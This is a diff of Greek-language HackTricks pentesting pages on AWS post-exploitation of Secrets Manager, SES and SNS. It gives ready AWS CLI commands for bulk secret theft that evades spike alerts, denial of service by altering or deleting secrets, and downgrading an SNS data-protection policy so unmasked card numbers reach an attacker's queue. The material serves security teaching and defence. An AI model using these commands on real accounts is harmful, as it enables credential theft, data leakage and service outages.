Key=name,Values=MyApp -``` -Διαχείριση μερικών αποτυχιών -```bash -# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters -aws secretsmanager batch-get-secret-value --secret-id-list -``` -Επιπτώσεις -- Γρήγορο “smash-and-grab” πολλών secrets με λιγότερες κλήσεις API, πιθανώς παρακάμπτοντας ειδοποιήσεις ρυθμισμένες για αιχμές του GetSecretValue. -- Τα CloudTrail logs εξακολουθούν να περιλαμβάνουν ένα GetSecretValue event ανά secret που ανακτήθηκε από το batch. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md new file mode 100644 index 000000000..2b5331427 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md @@ -0,0 +1,130 @@ +# AWS - Secrets Manager Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Secrets Manager + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-secrets-manager-enum.md +{{#endref}} + +### Ανάγνωση Secrets + +Τα **secrets καθαυτά είναι ευαίσθητες πληροφορίες**, [ελέγξτε τη σελίδα privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) για να μάθετε πώς να τα διαβάσετε. + +### DoS Change Secret Value + +Αλλάζοντας την τιμή του secret μπορείτε να **DoS όλα τα συστήματα που εξαρτώνται από αυτήν την τιμή.** + +> [!WARNING] +> Σημειώστε ότι οι προηγούμενες τιμές αποθηκεύονται επίσης, οπότε είναι εύκολο να επιστρέψετε στην προηγούμενη τιμή. +```bash +# Requires permission secretsmanager:PutSecretValue +aws secretsmanager put-secret-value \ +--secret-id MyTestSecret \ +--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" +``` +### DoS Change KMS key + +Εάν ο επιτιθέμενος έχει την άδεια secretsmanager:UpdateSecret, μπορεί να ρυθμίσει το secret ώστε να χρησιμοποιεί ένα KMS key που ανήκει στον ίδιο. Το κλειδί αυτό αρχικά είναι διαμορφωμένο έτσι ώστε ο καθένας να μπορεί να το προσπελάσει και να το χρησιμοποιήσει, οπότε η ενημέρωση του secret με το νέο κλειδί είναι δυνατή. Αν το κλειδί δεν ήταν προσβάσιμο, το secret δεν θα μπορούσε να ενημερωθεί. + +Μετά την αλλαγή του κλειδιού για το secret, ο επιτιθέμενος τροποποιεί τη διαμόρφωση του κλειδιού του ώστε μόνο αυτός να μπορεί να το προσπελάσει. Έτσι, στις επόμενες εκδόσεις του secret, αυτές θα κρυπτογραφούνται με το νέο κλειδί, και αφού δεν υπάρχει πρόσβαση σε αυτό, η δυνατότητα ανάκτησης του secret θα χαθεί. + +Είναι σημαντικό να σημειωθεί ότι αυτή η μη προσβασιμότητα θα συμβεί μόνο στις μεταγενέστερες εκδόσεις, μετά την αλλαγή του περιεχομένου του secret, αφού η τρέχουσα έκδοση εξακολουθεί να είναι κρυπτογραφημένη με το αρχικό KMS key. +```bash +aws secretsmanager update-secret \ +--secret-id MyTestSecret \ +--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE +``` +### DoS Διαγραφή Secret + +Ο ελάχιστος αριθμός ημερών για να διαγραφεί ένα secret είναι 7 +```bash +aws secretsmanager delete-secret \ +--secret-id MyTestSecret \ +--recovery-window-in-days 7 +``` +## secretsmanager:RestoreSecret + +Είναι δυνατή η επαναφορά ενός μυστικού, κάτι που επιτρέπει την ανάκτηση μυστικών που έχουν προγραμματιστεί για διαγραφή, καθώς η ελάχιστη περίοδος διαγραφής για μυστικά είναι 7 ημέρες και η μέγιστη 30 ημέρες. Σε συνδυασμό με το δικαίωμα secretsmanager:GetSecretValue, αυτό καθιστά δυνατή την ανάκτηση του περιεχομένου τους. + +Για να ανακτήσετε ένα μυστικό που βρίσκεται σε διαδικασία διαγραφής, μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή: +```bash +aws secretsmanager restore-secret \ +--secret-id +``` +## secretsmanager:DeleteResourcePolicy + +Αυτή η ενέργεια επιτρέπει τη διαγραφή της resource policy που ελέγχει ποιος μπορεί να έχει πρόσβαση σε ένα secret. Αυτό μπορεί να οδηγήσει σε DoS αν η resource policy είχε ρυθμιστεί ώστε να επιτρέπει πρόσβαση σε ένα συγκεκριμένο σύνολο χρηστών. + +Για να διαγράψετε τη resource policy: +```bash +aws secretsmanager delete-resource-policy \ +--secret-id +``` +## secretsmanager:UpdateSecretVersionStage + +Οι καταστάσεις ενός μυστικού χρησιμοποιούνται για τη διαχείριση των εκδόσεων ενός μυστικού. Το AWSCURRENT σηματοδοτεί την ενεργή έκδοση που χρησιμοποιούν οι εφαρμογές, το AWSPREVIOUS διατηρεί την προηγούμενη έκδοση ώστε να μπορείτε να επαναφέρετε αν χρειαστεί, και το AWSPENDING χρησιμοποιείται στη διαδικασία περιστροφής για να προετοιμάσει και να επικυρώσει μια νέα έκδοση πριν την ορίσει ως τρέχουσα. + +Οι εφαρμογές διαβάζουν πάντα την έκδοση με AWSCURRENT. Εάν κάποιος μετακινήσει αυτή την ετικέτα στη λάθος έκδοση, οι εφαρμογές θα χρησιμοποιήσουν άκυρα credentials και μπορεί να αποτύχουν. + +Το AWSPREVIOUS δεν χρησιμοποιείται αυτόματα. Ωστόσο, αν το AWSCURRENT αφαιρεθεί ή ανατεθεί λανθασμένα, μπορεί να φαίνεται ότι όλα εξακολουθούν να λειτουργούν με την προηγούμενη έκδοση. +```bash +aws secretsmanager update-secret-version-stage \ +--secret-id \ +--version-stage AWSCURRENT \ +--move-to-version-id \ +--remove-from-version-id +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call) + +Καταχραστείτε το Secrets Manager BatchGetSecretValue API για να ανακτήσετε έως και 20 μυστικά σε ένα αίτημα. Αυτό μπορεί να μειώσει δραστικά τον όγκο κλήσεων API σε σύγκριση με την εκτέλεση GetSecretValue για κάθε μυστικό. Αν χρησιμοποιούνται φίλτρα (tags/name), απαιτείται επίσης η άδεια ListSecrets. Το CloudTrail εξακολουθεί να καταγράφει ένα γεγονός GetSecretValue για κάθε μυστικό που ανακτάται σε παρτίδα. + +Απαιτούμενα δικαιώματα +- secretsmanager:BatchGetSecretValue +- secretsmanager:GetSecretValue για κάθε στοχευμένο μυστικό +- secretsmanager:ListSecrets αν χρησιμοποιείτε --filters +- kms:Decrypt στα CMKs που χρησιμοποιούνται από τα μυστικά (αν δεν χρησιμοποιείτε aws/secretsmanager) + +> [!WARNING] +> Λάβετε υπόψη ότι η άδεια `secretsmanager:BatchGetSecretValue` από μόνη της δεν αρκεί για την ανάκτηση μυστικών — χρειάζεστε επίσης την `secretsmanager:GetSecretValue` για κάθε μυστικό που θέλετε να ανακτήσετε. + +Exfiltrate by explicit list +```bash +aws secretsmanager batch-get-secret-value \ +--secret-id-list \ +--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}' +``` +Exfiltrate με φίλτρα (tag key/value or name prefix) +```bash +# By tag key +aws secretsmanager batch-get-secret-value \ +--filters Key=tag-key,Values=env \ +--max-results 20 \ +--query 'SecretValues[].{Name:Name,Val:SecretString}' + +# By tag value +aws secretsmanager batch-get-secret-value \ +--filters Key=tag-value,Values=prod \ +--max-results 20 + +# By name prefix +aws secretsmanager batch-get-secret-value \ +--filters Key=name,Values=MyApp +``` +Διαχείριση μερικών αποτυχιών +```bash +# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters +aws secretsmanager batch-get-secret-value --secret-id-list +``` +Επιπτώσεις +- Γρήγορη “smash-and-grab” πολλών secrets με λιγότερες API κλήσεις, ενδεχομένως παρακάμπτοντας ειδοποιήσεις ρυθμισμένες για αιχμές του GetSecretValue. +- Τα CloudTrail logs εξακολουθούν να περιλαμβάνουν ένα GetSecretValue event ανά secret που ανακτάται από την παρτίδα. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md deleted file mode 100644 index b321bcc99..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ /dev/null @@ -1,69 +0,0 @@ -# AWS - SES Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## SES - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-ses-enum.md -{{#endref}} - -### `ses:SendEmail` - -Στείλτε ένα email. -```bash -aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json -aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json -``` -Ακόμα προς δοκιμή. - -### `ses:SendRawEmail` - -Στείλτε ένα email. -```bash -aws ses send-raw-email --raw-message file://message.json -``` -Ακόμα προς δοκιμή. - -### `ses:SendTemplatedEmail` - -Στείλτε ένα email βασισμένο σε ένα πρότυπο. -```bash -aws ses send-templated-email --source --destination --template -``` -Ακόμα προς δοκιμή. - -### `ses:SendBulkTemplatedEmail` - -Στείλτε ένα email σε πολλαπλούς προορισμούς -```bash -aws ses send-bulk-templated-email --source --template -``` -Ακόμα προς δοκιμή. - -### `ses:SendBulkEmail` - -Στείλτε ένα email σε πολλαπλούς προορισμούς. -``` -aws sesv2 send-bulk-email --default-content --bulk-email-entries -``` -### `ses:SendBounce` - -Στείλτε ένα **bounce email** σε ένα ληφθέν email (υποδεικνύοντας ότι το email δεν μπορούσε να παραληφθεί). Αυτό μπορεί να γίνει **μέχρι 24 ώρες μετά τη λήψη** του email. -```bash -aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list -``` -Ακόμα προς δοκιμή. - -### `ses:SendCustomVerificationEmail` - -Αυτό θα στείλει ένα προσαρμοσμένο email επιβεβαίωσης. Μπορεί να χρειαστείτε άδειες επίσης για να δημιουργήσετε το πρότυπο email. -```bash -aws ses send-custom-verification-email --email-address --template-name -aws sesv2 send-custom-verification-email --email-address --template-name -``` -Ακόμα προς δοκιμή. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md new file mode 100644 index 000000000..eb35a0868 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md @@ -0,0 +1,69 @@ +# AWS - SES Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## SES + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-ses-enum.md +{{#endref}} + +### `ses:SendEmail` + +Αποστολή email. +```bash +aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json +aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json +``` +Ακόμα πρέπει να δοκιμαστεί. + +### `ses:SendRawEmail` + +Στείλτε ένα email. +```bash +aws ses send-raw-email --raw-message file://message.json +``` +Ακόμα δεν έχει δοκιμαστεί. + +### `ses:SendTemplatedEmail` + +Αποστολή email με βάση ένα πρότυπο. +```bash +aws ses send-templated-email --source --destination --template +``` +Πρέπει ακόμη να δοκιμαστεί. + +### `ses:SendBulkTemplatedEmail` + +Αποστέλλει ένα email σε πολλούς παραλήπτες +```bash +aws ses send-bulk-templated-email --source --template +``` +Δεν έχει δοκιμαστεί ακόμη. + +### `ses:SendBulkEmail` + +Αποστολή email σε πολλούς παραλήπτες. +``` +aws sesv2 send-bulk-email --default-content --bulk-email-entries +``` +### `ses:SendBounce` + +Αποστολή ενός **bounce email** πάνω σε ένα ληφθέν email (που υποδεικνύει ότι το email δεν μπόρεσε να παραληφθεί). Αυτό μπορεί να γίνει μόνο **έως 24h μετά τη λήψη** του email. +```bash +aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list +``` +Ακόμα πρέπει να δοκιμαστεί. + +### `ses:SendCustomVerificationEmail` + +Αυτό θα στείλει ένα εξατομικευμένο επαληθευτικό μήνυμα ηλεκτρονικού ταχυδρομείου. Μπορεί επίσης να χρειαστείτε δικαιώματα για να δημιουργήσετε το πρότυπο μηνύματος. +```bash +aws ses send-custom-verification-email --email-address --template-name +aws sesv2 send-custom-verification-email --email-address --template-name +``` +Ακόμα πρέπει να δοκιμαστεί. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md deleted file mode 100644 index ff353df90..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ /dev/null @@ -1,68 +0,0 @@ -# AWS - SNS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## SNS - -Για περισσότερες πληροφορίες: - -{{#ref}} -../aws-services/aws-sns-enum.md -{{#endref}} - -### Διακοπή Μηνυμάτων - -Σε πολλές περιπτώσεις, τα θέματα SNS χρησιμοποιούνται για την αποστολή μηνυμάτων σε πλατφόρμες που παρακολουθούνται (emails, slack messages...). Εάν ένας επιτιθέμενος αποτρέψει την αποστολή των μηνυμάτων που προειδοποιούν για την παρουσία του στο cloud, θα μπορούσε να παραμείνει αόρατος. - -### `sns:DeleteTopic` - -Ένας επιτιθέμενος θα μπορούσε να διαγράψει ολόκληρο το θέμα SNS, προκαλώντας απώλεια μηνυμάτων και επηρεάζοντας τις εφαρμογές που βασίζονται στο θέμα. -```bash -aws sns delete-topic --topic-arn -``` -**Πιθανές Επιπτώσεις**: Απώλεια μηνυμάτων και διακοπή υπηρεσίας για εφαρμογές που χρησιμοποιούν το διαγραμμένο θέμα. - -### `sns:Publish` - -Ένας επιτιθέμενος θα μπορούσε να στείλει κακόβουλα ή ανεπιθύμητα μηνύματα στο θέμα SNS, ενδεχομένως προκαλώντας διαφθορά δεδομένων, ενεργοποιώντας μη προγραμματισμένες ενέργειες ή εξαντλώντας πόρους. -```bash -aws sns publish --topic-arn --message -``` -**Πιθανές Επιπτώσεις**: Διαφθορά δεδομένων, μη προγραμματισμένες ενέργειες ή εξάντληση πόρων. - -### `sns:SetTopicAttributes` - -Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τα χαρακτηριστικά ενός θέματος SNS, επηρεάζοντας ενδεχομένως την απόδοσή του, την ασφάλεια ή τη διαθεσιμότητά του. -```bash -aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value -``` -**Πιθανές Επιπτώσεις**: Λάθη στη διαμόρφωση που οδηγούν σε υποβαθμισμένη απόδοση, προβλήματα ασφαλείας ή μειωμένη διαθεσιμότητα. - -### `sns:Subscribe` , `sns:Unsubscribe` - -Ένας επιτιθέμενος θα μπορούσε να εγγραφεί ή να διαγραφεί από ένα θέμα SNS, αποκτώντας πιθανώς μη εξουσιοδοτημένη πρόσβαση σε μηνύματα ή διαταράσσοντας τη φυσιολογική λειτουργία εφαρμογών που βασίζονται στο θέμα. -```bash -aws sns subscribe --topic-arn --protocol --endpoint -aws sns unsubscribe --subscription-arn -``` -**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη πρόσβαση σε μηνύματα, διακοπή υπηρεσιών για εφαρμογές που βασίζονται στο επηρεαζόμενο θέμα. - -### `sns:AddPermission` , `sns:RemovePermission` - -Ένας επιτιθέμενος θα μπορούσε να παραχωρήσει μη εξουσιοδοτημένους χρήστες ή υπηρεσίες πρόσβαση σε ένα θέμα SNS, ή να ανακαλέσει άδειες για νόμιμους χρήστες, προκαλώντας διαταραχές στη φυσιολογική λειτουργία των εφαρμογών που βασίζονται στο θέμα. -```css -aws sns add-permission --topic-arn --label --aws-account-id --action-name -aws sns remove-permission --topic-arn --label -``` -**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη πρόσβαση στο θέμα, έκθεση μηνυμάτων ή χειρισμός του θέματος από μη εξουσιοδοτημένους χρήστες ή υπηρεσίες, διακοπή της κανονικής λειτουργίας για εφαρμογές που βασίζονται στο θέμα. - -### `sns:TagResource` , `sns:UntagResource` - -Ένας επιτιθέμενος θα μπορούσε να προσθέσει, να τροποποιήσει ή να αφαιρέσει ετικέτες από τους πόρους SNS, διαταράσσοντας την κατανομή κόστους της οργάνωσής σας, την παρακολούθηση πόρων και τις πολιτικές ελέγχου πρόσβασης που βασίζονται σε ετικέτες. -```bash -aws sns tag-resource --resource-arn --tags Key=,Value= -aws sns untag-resource --resource-arn --tag-keys -``` -**Πιθανές Επιπτώσεις**: Διαταραχή της κατανομής κόστους, παρακολούθησης πόρων και πολιτικών ελέγχου πρόσβασης με βάση τις ετικέτες. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md new file mode 100644 index 000000000..656f1bae2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md @@ -0,0 +1,82 @@ +# AWS - SNS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Για περισσότερες πληροφορίες: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### Διακοπή μηνυμάτων + +Σε πολλές περιπτώσεις, SNS topics χρησιμοποιούνται για την αποστολή μηνυμάτων σε πλατφόρμες που παρακολουθούνται (emails, slack messages...). Αν ένας επιτιθέμενος αποτρέψει την αποστολή των μηνυμάτων που ειδοποιούν για την παρουσία του στο cloud, μπορεί να παραμείνει αόρατος. + +### `sns:DeleteTopic` + +Ένας επιτιθέμενος θα μπορούσε να διαγράψει ολόκληρο ένα SNS topic, προκαλώντας απώλεια μηνυμάτων και επηρεάζοντας εφαρμογές που βασίζονται στο topic. +```bash +aws sns delete-topic --topic-arn +``` +**Potential Impact**: Απώλεια μηνυμάτων και διακοπή υπηρεσίας για τις εφαρμογές που χρησιμοποιούν το διαγραμμένο topic. + +### `sns:Publish` + +Ένας επιτιθέμενος θα μπορούσε να στείλει κακόβουλα ή ανεπιθύμητα μηνύματα στο SNS topic, ενδεχομένως προκαλώντας διαφθορά δεδομένων, ενεργοποίηση ανεπιθύμητων ενεργειών ή εξάντληση πόρων. +```bash +aws sns publish --topic-arn --message +``` +**Potential Impact**: Διαφθορά δεδομένων, ανεπιθύμητες ενέργειες ή εξάντληση πόρων. + +### `sns:SetTopicAttributes` + +Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τα χαρακτηριστικά ενός SNS topic, επηρεάζοντας ενδεχομένως την απόδοσή του, την ασφάλειά του ή τη διαθεσιμότητά του. +```bash +aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value +``` +**Πιθανός αντίκτυπος**: Λανθασμένες ρυθμίσεις που οδηγούν σε υποβαθμισμένη απόδοση, θέματα ασφάλειας ή μειωμένη διαθεσιμότητα. + +### `sns:Subscribe` , `sns:Unsubscribe` + +Ενας επιτιθέμενος θα μπορούσε να εγγραφεί ή να διαγραφεί από ένα SNS topic, αποκτώντας ενδεχομένως μη εξουσιοδοτημένη πρόσβαση σε μηνύματα ή διαταράσσοντας την κανονική λειτουργία εφαρμογών που βασίζονται στο topic. +```bash +aws sns subscribe --topic-arn --protocol --endpoint +aws sns unsubscribe --subscription-arn +``` +**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη πρόσβαση στα μηνύματα, διακοπή υπηρεσίας για εφαρμογές που βασίζονται στο επηρεαζόμενο topic. + +### `sns:AddPermission` , `sns:RemovePermission` + +Ένας επιτιθέμενος θα μπορούσε να παραχωρήσει σε μη εξουσιοδοτημένους χρήστες ή υπηρεσίες πρόσβαση σε ένα SNS topic, ή να ανακαλέσει δικαιώματα από νόμιμους χρήστες, προκαλώντας διαταραχές στην κανονική λειτουργία των εφαρμογών που βασίζονται στο topic. +```bash +aws sns add-permission --topic-arn --label --aws-account-id --action-name +aws sns remove-permission --topic-arn --label +``` +**Potential Impact**: Μη εξουσιοδοτημένη πρόσβαση στο topic, έκθεση μηνυμάτων, ή χειραγώγηση του topic από μη εξουσιοδοτημένους χρήστες ή υπηρεσίες, διακοπή της κανονικής λειτουργίας των εφαρμογών που εξαρτώνται από το topic. + +### `sns:TagResource` , `sns:UntagResource` + +Ένας επιτιθέμενος θα μπορούσε να προσθέσει, να τροποποιήσει ή να αφαιρέσει tags από πόρους SNS, διαταράσσοντας την κατανομή κόστους του οργανισμού σας, την παρακολούθηση πόρων και τις πολιτικές ελέγχου πρόσβασης βάσει tags. +```bash +aws sns tag-resource --resource-arn --tags Key=,Value= +aws sns untag-resource --resource-arn --tag-keys +``` +**Πιθανός Αντίκτυπος**: Διαταραχή της κατανομής κόστους, της παρακολούθησης πόρων και των πολιτικών ελέγχου πρόσβασης βάσει ετικετών. + +### Περισσότερες SNS Post-Exploitation Techniques + +{{#ref}} +aws-sns-data-protection-bypass.md +{{#endref}} + +{{#ref}} +aws-sns-fifo-replay-exfil.md +{{#endref}} + +{{#ref}} +aws-sns-firehose-exfil.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md new file mode 100644 index 000000000..7cef71323 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md @@ -0,0 +1,92 @@ +# AWS - SNS Message Data Protection Bypass via Policy Downgrade + +{{#include ../../../../banners/hacktricks-training.md}} + +Αν έχετε `sns:PutDataProtectionPolicy` σε ένα topic, μπορείτε να αλλάξετε την πολιτική Message Data Protection από Deidentify/Deny σε Audit-only (ή να αφαιρέσετε τους Outbound ελέγχους) ώστε ευαίσθητες τιμές (π.χ. αριθμοί πιστωτικών καρτών) να παραδοθούν αμετάβλητες στη συνδρομή σας. + +## Απαιτήσεις +- Δικαιώματα στο target topic για να καλέσετε `sns:PutDataProtectionPolicy` (και συνήθως `sns:Subscribe` αν θέλετε να λάβετε τα δεδομένα). +- Standard SNS topic (Message Data Protection υποστηρίζεται). + +## Βήματα επίθεσης + +- Μεταβλητές + +```bash +REGION=us-east-1 +``` + +1) Δημιουργήστε ένα standard topic και μια attacker SQS queue, και επιτρέψτε μόνο σε αυτό το topic να στέλνει στην queue + +```bash +TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text) +Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text) +Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text) + +aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17 +``` + +2) Επισυνάψτε μια data protection policy που αποκρύπτει αριθμούς πιστωτικών καρτών σε outbound μηνύματα + +```bash +cat > /tmp/ht-dlp-policy.json <<'JSON' +{ +"Name": "__ht_dlp_policy", +"Version": "2021-06-01", +"Statement": [{ +"Sid": "MaskCCOutbound", +"Principal": ["*"], +"DataDirection": "Outbound", +"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"], +"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } } +}] +} +JSON +aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)" +``` + +3) Subscribe την attacker queue και publish ένα μήνυμα με δοκιμαστικό αριθμό πιστωτικής κάρτας, επαληθεύστε την απόκρυψη + +```bash +SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text) +aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459} +aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All +``` + +Το αναμενόμενο απόσπασμα δείχνει την απόκρυψη (hashes): +```json +"Message" : "payment:{cc:################}" +``` +4) Υποβάθμιση της πολιτικής σε audit-only (χωρίς δηλώσεις deidentify/deny που επηρεάζουν το Outbound) + +Για SNS, οι δηλώσεις Audit πρέπει να είναι Inbound. Η αντικατάσταση της πολιτικής με μια Audit-only Inbound δήλωση αφαιρεί οποιαδήποτε Outbound de-identification, οπότε τα μηνύματα ρέουν χωρίς τροποποίηση προς τους συνδρομητές. +```bash +cat > /tmp/ht-dlp-audit-only.json <<'JSON' +{ +"Name": "__ht_dlp_policy", +"Version": "2021-06-01", +"Statement": [{ +"Sid": "AuditInbound", +"Principal": ["*"], +"DataDirection": "Inbound", +"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"], +"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } } +}] +} +JSON +aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)" +``` + +5) Δημοσιεύστε το ίδιο μήνυμα και επαληθεύστε ότι η unmasked τιμή παραδίδεται +```bash +aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459} +aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All +``` +Το αναμενόμενο απόσπασμα εμφανίζει το CC σε cleartext: +```text +4539894458086459 +``` +## Επιπτώσεις +- Η αλλαγή ενός topic από de-identification/deny σε audit-only (ή με οποιονδήποτε άλλο τρόπο η αφαίρεση των Outbound controls) επιτρέπει σε PII/secrets να περάσουν αμετάβλητα σε attacker-controlled subscriptions, γεγονός που επιτρέπει data exfiltration η οποία διαφορετικά θα ήταν αποκρυμμένη ή θα είχε μπλοκαριστεί. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md new file mode 100644 index 000000000..9de1e50ca --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md @@ -0,0 +1,100 @@ +# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription + +{{#include ../../../../banners/hacktricks-training.md}} + +Κατάχρηση της αρχειοθέτησης μηνυμάτων ενός Amazon SNS FIFO topic για να replay και exfiltrate προηγουμένως δημοσιευμένα μηνύματα σε έναν SQS FIFO queue ελεγχόμενο από attacker, ρυθμίζοντας την subscription ReplayPolicy. + +- Υπηρεσία: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues) +- Απαιτήσεις: Το topic πρέπει να έχει ενεργοποιημένο το `ArchivePolicy` (αρχειοθέτηση μηνυμάτων). Ο attacker μπορεί να `Subscribe` στο topic και να ορίσει attributes στη subscription του. Ο attacker ελέγχει έναν SQS FIFO queue και επιτρέπει στο topic να στέλνει μηνύματα. +- Επίπτωση: Ιστορικά μηνύματα (δημοσιευμένα πριν τη δημιουργία της subscription) μπορούν να παραδοθούν στο attacker endpoint. Οι επαναπροβληθείσες παραδόσεις επισημαίνονται με `Replayed=true` στο SNS envelope. + +## Προαπαιτούμενα +- SNS FIFO topic με ενεργοποιημένη αρχειοθέτηση: `ArchivePolicy` (π.χ., `{ "MessageRetentionPeriod": "2" }` για 2 ημέρες). +- Ο attacker έχει δικαιώματα για: + - `sns:Subscribe` στο target topic. + - `sns:SetSubscriptionAttributes` στη δημιουργημένη subscription. +- Ο attacker έχει έναν SQS FIFO queue και μπορεί να επισυνάψει ένα queue policy που επιτρέπει `sns:SendMessage` από το topic ARN. + +## Ελάχιστα IAM δικαιώματα +- Στο topic: `sns:Subscribe`. +- Στη subscription: `sns:SetSubscriptionAttributes`. +- Στον queue: `sqs:SetQueueAttributes` για το policy, και queue policy που επιτρέπει `sns:SendMessage` από το topic ARN. + +## Attack: Replay archived messages to attacker SQS FIFO +Ο attacker κάνει subscribe τον SQS FIFO queue του στο victim SNS FIFO topic, και στη συνέχεια ορίζει το `ReplayPolicy` σε ένα timestamp στο παρελθόν (εντός του window διατήρησης του archive). Το SNS αμέσως replay-άρει τα ταιριαστά αρχειοθετημένα μηνύματα στη νέα subscription και τα σηματοδοτεί με `Replayed=true`. + +Σημειώσεις: +- Το timestamp που χρησιμοποιείται στο `ReplayPolicy` πρέπει να είναι >= του `BeginningArchiveTime` του topic. Αν είναι νωρίτερα, το API επιστρέφει `Invalid StartingPoint value`. +- Για SNS FIFO `Publish`, πρέπει να καθορίσετε `MessageGroupId` (και είτε dedup ID είτε να ενεργοποιήσετε το `ContentBasedDeduplication`). + +
